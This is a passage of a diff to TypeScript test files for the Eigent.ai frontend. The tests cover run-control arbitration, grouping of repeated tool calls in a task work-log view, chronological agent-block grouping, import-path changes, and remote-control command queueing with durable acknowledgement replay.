|
||||
projectId: 'project-1',
|
||||
runId,
|
||||
createdAt: '2026-08-12T10:00:00.000Z',
|
||||
runSequence: 1,
|
||||
cloudCursor: null,
|
||||
eventType,
|
||||
legacyStep: null,
|
||||
kind: 'run_status',
|
||||
status: 'running',
|
||||
} as ChatProjectionNode;
|
||||
}
|
||||
|
||||
function request(
|
||||
interactionId: string,
|
||||
runId: string,
|
||||
requestEventType = 'interaction.requested'
|
||||
) {
|
||||
return {
|
||||
interactionId,
|
||||
runId,
|
||||
status: 'requested',
|
||||
requestSource: 'canonical',
|
||||
requestEventId: `${runId}:${requestEventType}`,
|
||||
requestEventType,
|
||||
} as HumanControlInteraction;
|
||||
}
|
||||
|
||||
function snapshot({
|
||||
runs,
|
||||
nodes = [],
|
||||
controls = [],
|
||||
needsResync = false,
|
||||
eventsTruncated = false,
|
||||
overflowed = false,
|
||||
}: {
|
||||
runs: ProjectedRun[];
|
||||
nodes?: ChatProjectionNode[];
|
||||
controls?: HumanControlInteraction[];
|
||||
needsResync?: boolean;
|
||||
eventsTruncated?: boolean;
|
||||
overflowed?: boolean;
|
||||
}): ProjectEventStoreSnapshot {
|
||||
const view = createProjectViewState('project-1', 'live');
|
||||
const chat = createChatProjectionState('project-1');
|
||||
const control = createHumanControlProjectionState('project-1');
|
||||
return {
|
||||
view: {
|
||||
...view,
|
||||
needsResync,
|
||||
eventsTruncated,
|
||||
runs: Object.fromEntries(runs.map((item) => [item.runId, item])),
|
||||
},
|
||||
chat: {
|
||||
...chat,
|
||||
nodes,
|
||||
nodeById: Object.fromEntries(nodes.map((node) => [node.eventId, node])),
|
||||
},
|
||||
control: {
|
||||
...control,
|
||||
orderedInteractionIds: controls.map((item) => item.interactionId),
|
||||
interactionById: Object.fromEntries(
|
||||
controls.map((item) => [item.interactionId, item])
|
||||
),
|
||||
},
|
||||
revision: 1,
|
||||
hasHydratedSnapshot: true,
|
||||
overflowed,
|
||||
lastEffects: [],
|
||||
};
|
||||
}
|
||||
|
||||
describe('event-native Run-control arbitration', () => {
|
||||
it('lets a typed pending control outrank the legacy-owned live Run', () => {
|
||||
const state = snapshot({
|
||||
runs: [run('legacy-live', 'running'), run('input', 'waiting_for_user')],
|
||||
nodes: [canonicalNode('legacy-live')],
|
||||
controls: [request('question-1', 'input')],
|
||||
});
|
||||
|
||||
expect(selectEventNativeActiveRunId(state, 'legacy-live')).toBe('input');
|
||||
});
|
||||
|
||||
it('does not give aggregate-only or orphan historical Runs controls', () => {
|
||||
expect(
|
||||
selectEventNativeActiveRunId(
|
||||
snapshot({ runs: [run('past', 'running')] }),
|
||||
'past'
|
||||
)
|
||||
).toBeNull();
|
||||
expect(
|
||||
selectEventNativeActiveRunId(
|
||||
snapshot({
|
||||
runs: [run('past', 'running')],
|
||||
nodes: [canonicalNode('past')],
|
||||
}),
|
||||
null
|
||||
)
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it('fails closed for truncated, resyncing, overflowed, and gapped state', () => {
|
||||
const pending = run('input', 'waiting_for_user');
|
||||
const controls = [request('question-1', 'input')];
|
||||
expect(
|
||||
selectEventNativeActiveRunId(
|
||||
snapshot({ runs: [pending], controls, eventsTruncated: true }),
|
||||
null
|
||||
)
|
||||
).toBeNull();
|
||||
expect(
|
||||
selectEventNativeActiveRunId(
|
||||
snapshot({ runs: [pending], controls, needsResync: true }),
|
||||
null
|
||||
)
|
||||
).toBeNull();
|
||||
expect(
|
||||
selectEventNativeActiveRunId(
|
||||
snapshot({ runs: [pending], controls, overflowed: true }),
|
||||
null
|
||||
)
|
||||
).toBeNull();
|
||||
expect(
|
||||
selectEventNativeActiveRunId(
|
||||
snapshot({
|
||||
runs: [run('input', 'waiting_for_user', { lastSequence: 1 })],
|
||||
controls,
|
||||
}),
|
||||
null
|
||||
)
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it('does not treat a canonical-envelope legacy ASK as typed authority', () => {
|
||||
const state = snapshot({
|
||||
runs: [run('input', 'waiting_for_user')],
|
||||
controls: [request('question-1', 'input', 'legacy.step')],
|
||||
});
|
||||
|
||||
expect(selectEventNativeActiveRunId(state, null)).toBeNull();
|
||||
});
|
||||
|
||||
it('allows only evidenced, actionable local interruptions', () => {
|
||||
const local = run('local', 'interrupted');
|
||||
const blocked = run('blocked', 'interrupted', {
|
||||
resumeBlockedReason: 'local_workspace_missing',
|
||||
});
|
||||
const state = snapshot({
|
||||
runs: [local, blocked],
|
||||
nodes: [
|
||||
canonicalNode(local.runId, 'run.interrupted'),
|
||||
canonicalNode(blocked.runId, 'run.interrupted'),
|
||||
],
|
||||
});
|
||||
|
||||
expect(selectActionableInterruptedRun(state, local.runId)).toBe(local);
|
||||
expect(selectActionableInterruptedRun(state, blocked.runId)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
|
@ -12,11 +12,11 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
collectSidePanelOutputFiles,
|
||||
getSidePanelOutputFilesRevision,
|
||||
} from './collectSidePanelOutputFiles';
|
||||
} from '@/components/Session/SidePanelSections/collectSidePanelOutputFiles';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
const reportFile = (): FileInfo => ({
|
||||
name: 'report.md',
|
||||
|
|
@ -12,13 +12,13 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { useProjectOutputFiles } from '@/components/Session/SidePanelSections/useProjectOutputFiles';
|
||||
import { HostProvider } from '@/host';
|
||||
import { useAuthStore } from '@/store/authStore';
|
||||
import { ChatTaskStatus } from '@/types/constants';
|
||||
import { act, renderHook, waitFor } from '@testing-library/react';
|
||||
import type { ReactNode } from 'react';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { useProjectOutputFiles } from './useProjectOutputFiles';
|
||||
|
||||
const { fetchGetMock, getBaseURLMock, invokeMock } = vi.hoisted(() => ({
|
||||
fetchGetMock: vi.fn(),
|
||||
|
|
@ -13,18 +13,45 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import {
|
||||
TaskWorkLogAccordion,
|
||||
buildAgentBlocks,
|
||||
getBlockHeaderParts,
|
||||
getSingleAgentActiveForm,
|
||||
getTaskRunDisplayStatus,
|
||||
groupBlocksByAgent,
|
||||
groupConsecutiveToolItems,
|
||||
terminalWorkLogI18nKey,
|
||||
type AgentBlock,
|
||||
type AgentGroup,
|
||||
type RepeatedToolItem,
|
||||
type TimelineItem,
|
||||
type ToolItem,
|
||||
} from '@/components/ChatBox/MessageItem/TaskWorkLogAccordion';
|
||||
import { AgentStep, TaskStatus, type AgentStepType } from '@/types/constants';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import type { VanillaChatStore } from '@/store/chatStore';
|
||||
import {
|
||||
AgentStep,
|
||||
ChatTaskStatus,
|
||||
SessionMode,
|
||||
TaskStatus,
|
||||
type AgentStepType,
|
||||
} from '@/types/constants';
|
||||
import { fireEvent, render, screen } from '@testing-library/react';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
vi.mock('react-i18next', () => ({
|
||||
initReactI18next: {
|
||||
type: '3rdParty',
|
||||
init: vi.fn(),
|
||||
},
|
||||
Trans: ({ i18nKey }: { i18nKey: string }) => i18nKey,
|
||||
useTranslation: () => ({
|
||||
t: (key: string, options: Record<string, unknown> = {}) =>
|
||||
key === 'chat.repeated-tool-events'
|
||||
? `${options.tool} · ${options.count} events`
|
||||
: key,
|
||||
i18n: { language: 'en', changeLanguage: vi.fn() },
|
||||
}),
|
||||
}));
|
||||
|
||||
type TaggedLog = Parameters<typeof buildAgentBlocks>[0][number];
|
||||
|
||||
|
|
@ -54,6 +81,233 @@ function findMessage(items: TimelineItem[], idx: number) {
|
|||
return messages[idx];
|
||||
}
|
||||
|
||||
function makeToolItem(
|
||||
id: string,
|
||||
overrides: Partial<Omit<ToolItem, 'kind' | 'id'>> = {}
|
||||
): ToolItem {
|
||||
return {
|
||||
kind: 'tool',
|
||||
id,
|
||||
rowTitle: 'Browser Toolkit · Browser visit page',
|
||||
toolkitName: 'Browser Toolkit',
|
||||
method: 'Browser visit page',
|
||||
detail: '',
|
||||
input: '',
|
||||
output: '',
|
||||
status: 'done',
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe('groupConsecutiveToolItems', () => {
|
||||
it('keeps a single tool call on the existing row path', () => {
|
||||
const call = makeToolItem('call-1');
|
||||
const result = groupConsecutiveToolItems([call]);
|
||||
|
||||
expect(result).toEqual([call]);
|
||||
expect(result[0]).toBe(call);
|
||||
});
|
||||
|
||||
it('groups adjacent matching toolkit and method calls', () => {
|
||||
const first = makeToolItem('call-1');
|
||||
const second = makeToolItem('call-2', { status: 'running' });
|
||||
const result = groupConsecutiveToolItems([first, second]);
|
||||
|
||||
expect(result).toHaveLength(1);
|
||||
expect(result[0]).toMatchObject({
|
||||
kind: 'repeated-tool',
|
||||
id: 'repeated-tool:call-1',
|
||||
rowTitle: 'Browser Toolkit · Browser visit page',
|
||||
status: 'running',
|
||||
});
|
||||
expect((result[0] as RepeatedToolItem).calls).toEqual([first, second]);
|
||||
});
|
||||
|
||||
it('normalizes cosmetic toolkit and method separators', () => {
|
||||
const first = makeToolItem('call-1');
|
||||
const second = makeToolItem('call-2', {
|
||||
toolkitName: 'browser_toolkit',
|
||||
method: 'browser-visit-page',
|
||||
rowTitle: 'browser_toolkit · Browser-visit-page',
|
||||
});
|
||||
|
||||
expect(groupConsecutiveToolItems([first, second])).toHaveLength(1);
|
||||
expect(groupConsecutiveToolItems([first, second])[0]!.kind).toBe(
|
||||
'repeated-tool'
|
||||
);
|
||||
});
|
||||
|
||||
it('treats messages and human-input receipts as chronology boundaries', () => {
|
||||
const message: TimelineItem = {
|
||||
kind: 'message',
|
||||
id: 'message-1',
|
||||
text: 'Opening the next result',
|
||||
source: 'reasoning',
|
||||
running: false,
|
||||
pairKey: null,
|
||||
};
|
||||
const first = makeToolItem('call-1');
|
||||
const second = makeToolItem('call-2');
|
||||
|
||||
expect(groupConsecutiveToolItems([first, message, second])).toEqual([
|
||||
first,
|
||||
message,
|
||||
second,
|
||||
]);
|
||||
});
|
||||
|
||||
it('does not group a different toolkit or method', () => {
|
||||
const first = makeToolItem('call-1');
|
||||
const differentMethod = makeToolItem('call-2', {
|
||||
method: 'Browser open',
|
||||
rowTitle: 'Browser Toolkit · Browser open',
|
||||
});
|
||||
const differentToolkit = makeToolItem('call-3', {
|
||||
toolkitName: 'Search Toolkit',
|
||||
rowTitle: 'Search Toolkit · Browser visit page',
|
||||
});
|
||||
|
||||
expect(
|
||||
groupConsecutiveToolItems([first, differentMethod, differentToolkit])
|
||||
).toEqual([first, differentMethod, differentToolkit]);
|
||||
});
|
||||
|
||||
it('keeps the first-call group identity when another live call arrives', () => {
|
||||
const calls = [
|
||||
makeToolItem('call-1'),
|
||||
makeToolItem('call-2'),
|
||||
makeToolItem('call-3'),
|
||||
];
|
||||
|
||||
const firstGroup = groupConsecutiveToolItems(calls.slice(0, 2))[0];
|
||||
const updatedGroup = groupConsecutiveToolItems(calls)[0];
|
||||
|
||||
expect(firstGroup?.id).toBe('repeated-tool:call-1');
|
||||
expect(updatedGroup?.id).toBe(firstGroup?.id);
|
||||
});
|
||||
|
||||
it('does not mutate the source timeline', () => {
|
||||
const source = [makeToolItem('call-1'), makeToolItem('call-2')];
|
||||
const snapshot = structuredClone(source);
|
||||
|
||||
groupConsecutiveToolItems(source);
|
||||
|
||||
expect(source).toEqual(snapshot);
|
||||
});
|
||||
});
|
||||
|
||||
describe('TaskWorkLogAccordion repeated tool-call rendering', () => {
|
||||
function completedCall(
|
||||
toolkitName: string,
|
||||
method: string,
|
||||
request: string,
|
||||
response: string
|
||||
): AgentMessage[] {
|
||||
return [
|
||||
mk(AgentStep.ACTIVATE_TOOLKIT, {
|
||||
toolkit_name: toolkitName,
|
||||
method_name: method,
|
||||
message: request,
|
||||
}),
|
||||
mk(AgentStep.DEACTIVATE_TOOLKIT, {
|
||||
toolkit_name: toolkitName,
|
||||
method_name: method,
|
||||
message: response,
|
||||
}),
|
||||
];
|
||||
}
|
||||
|
||||
function createWorkLogStore(log: AgentMessage[]): VanillaChatStore {
|
||||
const state = {
|
||||
tasks: {
|
||||
'task-1': {
|
||||
status: ChatTaskStatus.RUNNING,
|
||||
sessionMode: SessionMode.WORKFORCE,
|
||||
taskTime: 0,
|
||||
elapsed: 0,
|
||||
messages: [],
|
||||
askList: [],
|
||||
taskAssigning: [
|
||||
{
|
||||
agent_id: 'agent-1',
|
||||
type: 'browser',
|
||||
name: 'Researcher',
|
||||
tasks: [],
|
||||
log,
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
return {
|
||||
getState: () => state,
|
||||
subscribe: () => () => undefined,
|
||||
} as unknown as VanillaChatStore;
|
||||
}
|
||||
|
||||
it('renders duplicate Browser and Todo calls as expandable count rows', () => {
|
||||
const log = [
|
||||
mk(AgentStep.ACTIVATE_AGENT),
|
||||
...completedCall(
|
||||
'Browser Toolkit',
|
||||
'Browser visit page',
|
||||
'{"url":"https://example.com/one"}',
|
||||
'First page'
|
||||
),
|
||||
...completedCall(
|
||||
'Browser Toolkit',
|
||||
'Browser visit page',
|
||||
'{"url":"https://example.com/two"}',
|
||||
'Second page'
|
||||
),
|
||||
...completedCall(
|
||||
'TodoToolkit',
|
||||
'Todo_write',
|
||||
'{"todo":"one"}',
|
||||
'Saved first todo'
|
||||
),
|
||||
...completedCall(
|
||||
'TodoToolkit',
|
||||
'Todo_write',
|
||||
'{"todo":"two"}',
|
||||
'Saved second todo'
|
||||
),
|
||||
];
|
||||
|
||||
render(
|
||||
<TaskWorkLogAccordion
|
||||
chatStore={createWorkLogStore(log)}
|
||||
taskId="task-1"
|
||||
/>
|
||||
);
|
||||
|
||||
const browserGroup = screen.getByRole('button', {
|
||||
name: 'Browser Toolkit · Browser visit page · 2 events',
|
||||
});
|
||||
const todoGroup = screen.getByRole('button', {
|
||||
name: 'TodoToolkit · Todo_write · 2 events',
|
||||
});
|
||||
|
||||
expect(browserGroup).toHaveAttribute('aria-expanded', 'false');
|
||||
expect(todoGroup).toHaveAttribute('aria-expanded', 'false');
|
||||
expect(
|
||||
screen.getAllByRole('button', {
|
||||
name: 'Browser Toolkit · Browser visit page · 2 events',
|
||||
})
|
||||
).toHaveLength(1);
|
||||
|
||||
fireEvent.click(browserGroup);
|
||||
|
||||
expect(browserGroup).toHaveAttribute('aria-expanded', 'true');
|
||||
expect(
|
||||
screen.getAllByRole('button', {
|
||||
name: 'Browser Toolkit · Browser visit page',
|
||||
})
|
||||
).toHaveLength(2);
|
||||
});
|
||||
});
|
||||
|
||||
describe('terminal Run presentation', () => {
|
||||
it('lets a recorded error override a compatibility interrupted status', () => {
|
||||
expect(
|
||||
|
|
@ -898,27 +1152,31 @@ describe('groupBlocksByAgent', () => {
|
|||
expect(group.doneToolCount).toBe(2);
|
||||
});
|
||||
|
||||
it('merges alternating blocks from the same agent (A, B, A) into two groups', () => {
|
||||
it('preserves alternating blocks from the same agent as A, B, A', () => {
|
||||
const blocks: AgentBlock[] = [
|
||||
makeBlock('a1', 'dev', 'Dev', [makeTool('t1')], 'done'),
|
||||
makeBlock('a2', 'browser', 'Browser', [makeTool('t2')], 'done'),
|
||||
makeBlock('a1', 'dev', 'Dev', [makeTool('t3')], 'running'),
|
||||
];
|
||||
const result = groupBlocksByAgent(blocks);
|
||||
expect(result).toHaveLength(2);
|
||||
expect(result).toHaveLength(3);
|
||||
|
||||
const g1 = result[0] as AgentGroup;
|
||||
expect(g1.kind).toBe('agent-group');
|
||||
expect(g1.agentId).toBe('a1');
|
||||
expect(g1.items).toHaveLength(2);
|
||||
expect(g1.items.map((i) => i.id)).toEqual(['t1', 't3']);
|
||||
expect(g1.status).toBe('running');
|
||||
expect(g1.items.map((i) => i.id)).toEqual(['t1']);
|
||||
expect(g1.status).toBe('done');
|
||||
|
||||
const g2 = result[1] as AgentGroup;
|
||||
expect(g2.kind).toBe('agent-group');
|
||||
expect(g2.agentId).toBe('a2');
|
||||
expect(g2.items).toHaveLength(1);
|
||||
expect(g2.status).toBe('done');
|
||||
|
||||
const g3 = result[2] as AgentGroup;
|
||||
expect(g3.agentId).toBe('a1');
|
||||
expect(g3.items.map((i) => i.id)).toEqual(['t3']);
|
||||
expect(g3.status).toBe('running');
|
||||
});
|
||||
|
||||
it('preserves the preparation block at its original position', () => {
|
||||
|
|
@ -978,7 +1236,7 @@ describe('groupBlocksByAgent', () => {
|
|||
expect(group.doneToolCount).toBe(0);
|
||||
});
|
||||
|
||||
it('orders groups by first appearance of the agent', () => {
|
||||
it('preserves chronological group order', () => {
|
||||
const blocks: AgentBlock[] = [
|
||||
makeBlock('a2', 'browser', 'Browser', [makeTool('t1')], 'done'),
|
||||
makeBlock('a1', 'dev', 'Dev', [makeTool('t2')], 'done'),
|
||||
|
|
@ -986,10 +1244,11 @@ describe('groupBlocksByAgent', () => {
|
|||
makeBlock('a2', 'browser', 'Browser', [makeTool('t4')], 'running'),
|
||||
];
|
||||
const result = groupBlocksByAgent(blocks);
|
||||
expect(result).toHaveLength(3);
|
||||
expect(result).toHaveLength(4);
|
||||
expect((result[0] as AgentGroup).agentId).toBe('a2');
|
||||
expect((result[1] as AgentGroup).agentId).toBe('a1');
|
||||
expect((result[2] as AgentGroup).agentId).toBe('a3');
|
||||
expect((result[3] as AgentGroup).agentId).toBe('a2');
|
||||
});
|
||||
|
||||
it('integrates with buildAgentBlocks for interleaved multi-agent logs', () => {
|
||||
|
|
@ -1050,11 +1309,15 @@ describe('groupBlocksByAgent', () => {
|
|||
const agentGroups = grouped.filter(
|
||||
(e): e is AgentGroup => e.kind === 'agent-group'
|
||||
);
|
||||
expect(agentGroups).toHaveLength(2);
|
||||
expect(agentGroups).toHaveLength(3);
|
||||
expect(agentGroups[0]!.agentId).toBe('a1');
|
||||
expect(agentGroups[1]!.agentId).toBe('a2');
|
||||
expect(agentGroups[2]!.agentId).toBe('a1');
|
||||
|
||||
const devTools = agentGroups[0]!.items.filter((i) => i.kind === 'tool');
|
||||
const devTools = agentGroups
|
||||
.filter((group) => group.agentId === 'a1')
|
||||
.flatMap((group) => group.items)
|
||||
.filter((i) => i.kind === 'tool');
|
||||
expect(devTools).toHaveLength(2);
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -74,8 +74,8 @@ vi.mock('@/store/projectRuntimeStore', () => ({
|
|||
selector({ setActiveProject: mocks.setActiveProject }),
|
||||
}));
|
||||
|
||||
import { AgentPluginImportWizard } from '@/components/WorkspaceBundle/AgentPluginImportWizard';
|
||||
import type { AgentPluginInspection } from '@/service/agentPluginImportApi';
|
||||
import { AgentPluginImportWizard } from './AgentPluginImportWizard';
|
||||
|
||||
const REVIEW_DIGEST = 'a'.repeat(64);
|
||||
|
||||
|
|
@ -116,8 +116,8 @@ vi.mock('@/store/pageTabStore', () => ({
|
|||
selector({ setActiveWorkspaceTab: mocks.setActiveWorkspaceTab }),
|
||||
}));
|
||||
|
||||
import { WorkspaceBundleInstallWizard } from '@/components/WorkspaceBundle/WorkspaceBundleInstallWizard';
|
||||
import type { WorkspaceBundleInstallSnapshot } from '@/service/workspaceBundleInstallApi';
|
||||
import { WorkspaceBundleInstallWizard } from './WorkspaceBundleInstallWizard';
|
||||
|
||||
const manifest = {
|
||||
apiVersion: 'eigent.ai/v1alpha1',
|
||||
|
|
@ -1,9 +1,23 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { fireEvent, render, screen } from '@testing-library/react';
|
||||
import { useState } from 'react';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import { EnvironmentRequirementsEditor } from '@/components/WorkspaceConfiguration/EnvironmentRequirementsEditor';
|
||||
import type { WorkspaceEnvironmentVariableRequirement } from '@/service/workspaceConfigurationApi';
|
||||
import { EnvironmentRequirementsEditor } from './EnvironmentRequirementsEditor';
|
||||
|
||||
function Harness({
|
||||
initial,
|
||||
|
|
@ -51,11 +51,11 @@ vi.mock('@/service/workspaceBundleAuthoringApi', () => ({
|
|||
publishWorkspaceBundleRevision: mocks.publishRevision,
|
||||
}));
|
||||
|
||||
import { WorkspaceBundleSaveDialog } from '@/components/WorkspaceConfiguration/WorkspaceBundleSaveDialog';
|
||||
import type {
|
||||
WorkspaceConfigurationDraft,
|
||||
WorkspaceConfigurationSaveReview,
|
||||
} from '@/service/workspaceConfigurationApi';
|
||||
import { WorkspaceBundleSaveDialog } from './WorkspaceBundleSaveDialog';
|
||||
|
||||
const digest = 'a'.repeat(64);
|
||||
const cloudDigest = 'c'.repeat(64);
|
||||
|
|
@ -12,11 +12,11 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import useChatStoreAdapter from '@/hooks/useChatStoreAdapter';
|
||||
import { createChatStoreInstance } from '@/store/chatStore';
|
||||
import { useProjectStore } from '@/store/projectStore';
|
||||
import { act, renderHook } from '@testing-library/react';
|
||||
import { beforeEach, describe, expect, it } from 'vitest';
|
||||
import useChatStoreAdapter from './useChatStoreAdapter';
|
||||
|
||||
describe('useChatStoreAdapter', () => {
|
||||
beforeEach(() => {
|
||||
|
|
@ -12,6 +12,11 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import {
|
||||
actionableInterruptedRun,
|
||||
normalizeInterruptedRunState,
|
||||
useInterruptedRunStatus,
|
||||
} from '@/hooks/useInterruptedRunStatus';
|
||||
import { HostProvider } from '@/host';
|
||||
import {
|
||||
DURABLE_RUN_STATUS_CHANGED_EVENT,
|
||||
|
|
@ -20,11 +25,6 @@ import {
|
|||
import { act, renderHook } from '@testing-library/react';
|
||||
import type { ReactNode } from 'react';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
actionableInterruptedRun,
|
||||
normalizeInterruptedRunState,
|
||||
useInterruptedRunStatus,
|
||||
} from './useInterruptedRunStatus';
|
||||
|
||||
const { fetchGetMock } = vi.hoisted(() => ({
|
||||
fetchGetMock: vi.fn(),
|
||||
|
|
@ -13,13 +13,13 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { fetchGet, fetchPost } from '@/api/http';
|
||||
import { __remoteControlBridgeTestHooks } from '@/hooks/useRemoteControlBridge';
|
||||
import {
|
||||
createFollowUpRequest,
|
||||
listPendingFollowUpRequests,
|
||||
markFollowUpRequestAdmitted,
|
||||
} from '@/service/followUpQueueApi';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { __remoteControlBridgeTestHooks } from './useRemoteControlBridge';
|
||||
|
||||
const restoreQueuedMessage = vi.fn();
|
||||
const removeQueuedMessage = vi.fn();
|
||||
|
|
@ -49,13 +49,28 @@ vi.mock('@/api/http', () => ({
|
|||
}));
|
||||
|
||||
import { fetchGet, fetchPost } from '@/api/http';
|
||||
import { __remoteControlBridgeTestHooks } from '@/hooks/useRemoteControlBridge';
|
||||
import {
|
||||
__remoteControlBridgeTestHooks,
|
||||
ackFromDurableExecution,
|
||||
} from '@/hooks/useRemoteControlBridge';
|
||||
import { useProjectStore } from '@/store/projectStore';
|
||||
import { SPACE_SCHEMA_VERSION, useSpaceStore } from '@/store/spaceStore';
|
||||
|
||||
describe('useRemoteControlBridge internals', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
vi.mocked(fetchPost).mockImplementation(async (_url, body: any) => ({
|
||||
request_id: body?.request_id || 'request-id',
|
||||
project_id: 'project-target',
|
||||
content: body?.content || '',
|
||||
attachment_paths: body?.attachment_paths || [],
|
||||
delivery_mode: 'wait',
|
||||
status: 'pending',
|
||||
source: body?.source || 'remote_control',
|
||||
source_command_id: body?.source_command_id || null,
|
||||
created_at: 1,
|
||||
updated_at: 1,
|
||||
}));
|
||||
useProjectStore.setState({
|
||||
activeProjectId: null,
|
||||
projects: {},
|
||||
|
|
@ -83,32 +98,30 @@ describe('useRemoteControlBridge internals', () => {
|
|||
});
|
||||
});
|
||||
|
||||
it('durably queues user_message commands for a busy background Project', async () => {
|
||||
it('allows user_message commands for a non-active Project without switching foreground Project', async () => {
|
||||
const activeProjectId = useProjectStore
|
||||
.getState()
|
||||
.createProject('Active Project', undefined, 'project-active');
|
||||
|
||||
vi.mocked(fetchGet).mockImplementation((path: string) =>
|
||||
Promise.resolve(
|
||||
path.endsWith('/follow-ups')
|
||||
? {
|
||||
items: [
|
||||
{
|
||||
request_id: 'task-target-next',
|
||||
project_id: 'project-target',
|
||||
content: 'Continue the target project in the background',
|
||||
attachment_paths: [],
|
||||
delivery_mode: 'wait',
|
||||
status: 'pending',
|
||||
source: 'remote_control',
|
||||
source_command_id: 'rc_cmd_cross_project',
|
||||
created_at: 1,
|
||||
updated_at: 1,
|
||||
},
|
||||
],
|
||||
}
|
||||
: { has_lock: true, status: 'running' }
|
||||
)
|
||||
vi.mocked(fetchGet).mockImplementation(async (url) =>
|
||||
url === '/projects/project-target/follow-ups'
|
||||
? {
|
||||
items: [
|
||||
{
|
||||
request_id: 'task-target-next',
|
||||
project_id: 'project-target',
|
||||
content: 'Continue the target project in the background',
|
||||
attachment_paths: [],
|
||||
delivery_mode: 'wait',
|
||||
status: 'pending',
|
||||
source: 'remote_control',
|
||||
source_command_id: 'rc_cmd_cross_project',
|
||||
created_at: 1,
|
||||
updated_at: 1,
|
||||
},
|
||||
],
|
||||
}
|
||||
: { has_lock: true, status: 'running' }
|
||||
);
|
||||
|
||||
const ack = await __remoteControlBridgeTestHooks.executeRemoteCommand(
|
||||
|
|
@ -133,17 +146,18 @@ describe('useRemoteControlBridge internals', () => {
|
|||
type: 'command_ack',
|
||||
command_id: 'rc_cmd_cross_project',
|
||||
status: 'acknowledged',
|
||||
result: { queued: true },
|
||||
});
|
||||
expect(useProjectStore.getState().activeProjectId).toBe(activeProjectId);
|
||||
expect(useProjectStore.getState().projects['project-target']).toBeDefined();
|
||||
expect(fetchGet).toHaveBeenCalledWith(
|
||||
'/projects/project-target/follow-ups'
|
||||
);
|
||||
expect(fetchGet).toHaveBeenCalledWith('/chat/project-target/status');
|
||||
expect(fetchPost).not.toHaveBeenCalledWith(
|
||||
'/chat/project-target',
|
||||
expect.anything()
|
||||
);
|
||||
expect(fetchGet).toHaveBeenCalledWith('/chat/project-target/status');
|
||||
});
|
||||
|
||||
it('starts local user_message tasks against the target Project without switching foreground Project', async () => {
|
||||
|
|
@ -167,27 +181,25 @@ describe('useRemoteControlBridge internals', () => {
|
|||
const startTask = vi.fn(() => Promise.resolve());
|
||||
targetChatStore?.setState({ startTask } as any);
|
||||
|
||||
vi.mocked(fetchGet).mockImplementation((path: string) =>
|
||||
Promise.resolve(
|
||||
path.endsWith('/follow-ups')
|
||||
? {
|
||||
items: [
|
||||
{
|
||||
request_id: 'task-target-next',
|
||||
project_id: 'project-target',
|
||||
content: 'Start local background task',
|
||||
attachment_paths: [],
|
||||
delivery_mode: 'wait',
|
||||
status: 'pending',
|
||||
source: 'remote_control',
|
||||
source_command_id: 'rc_cmd_local_start',
|
||||
created_at: 1,
|
||||
updated_at: 1,
|
||||
},
|
||||
],
|
||||
}
|
||||
: { has_lock: false, status: 'idle' }
|
||||
)
|
||||
vi.mocked(fetchGet).mockImplementation(async (url) =>
|
||||
url === '/projects/project-target/follow-ups'
|
||||
? {
|
||||
items: [
|
||||
{
|
||||
request_id: 'task-target-next',
|
||||
project_id: 'project-target',
|
||||
content: 'Start local background task',
|
||||
attachment_paths: [],
|
||||
delivery_mode: 'wait',
|
||||
status: 'pending',
|
||||
source: 'remote_control',
|
||||
source_command_id: 'rc_cmd_local_start',
|
||||
created_at: 1,
|
||||
updated_at: 1,
|
||||
},
|
||||
],
|
||||
}
|
||||
: { has_lock: false, status: 'idle' }
|
||||
);
|
||||
|
||||
const ack = await __remoteControlBridgeTestHooks.executeRemoteCommand(
|
||||
|
|
@ -259,3 +271,79 @@ describe('useRemoteControlBridge internals', () => {
|
|||
expect(project.metadata?.remoteHistoryHydrationPending).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('remote command durable ACK replay', () => {
|
||||
beforeEach(() => {
|
||||
window.localStorage.clear();
|
||||
});
|
||||
|
||||
it('replays the canonical completed outcome without executing again', () => {
|
||||
expect(
|
||||
ackFromDurableExecution('command-1', {
|
||||
event_type: 'execution.completed',
|
||||
payload: { result: { run_id: 'run-1' } },
|
||||
})
|
||||
).toEqual({
|
||||
type: 'command_ack',
|
||||
command_id: 'command-1',
|
||||
status: 'acknowledged',
|
||||
result: { run_id: 'run-1' },
|
||||
replayed_from_cache: true,
|
||||
});
|
||||
});
|
||||
|
||||
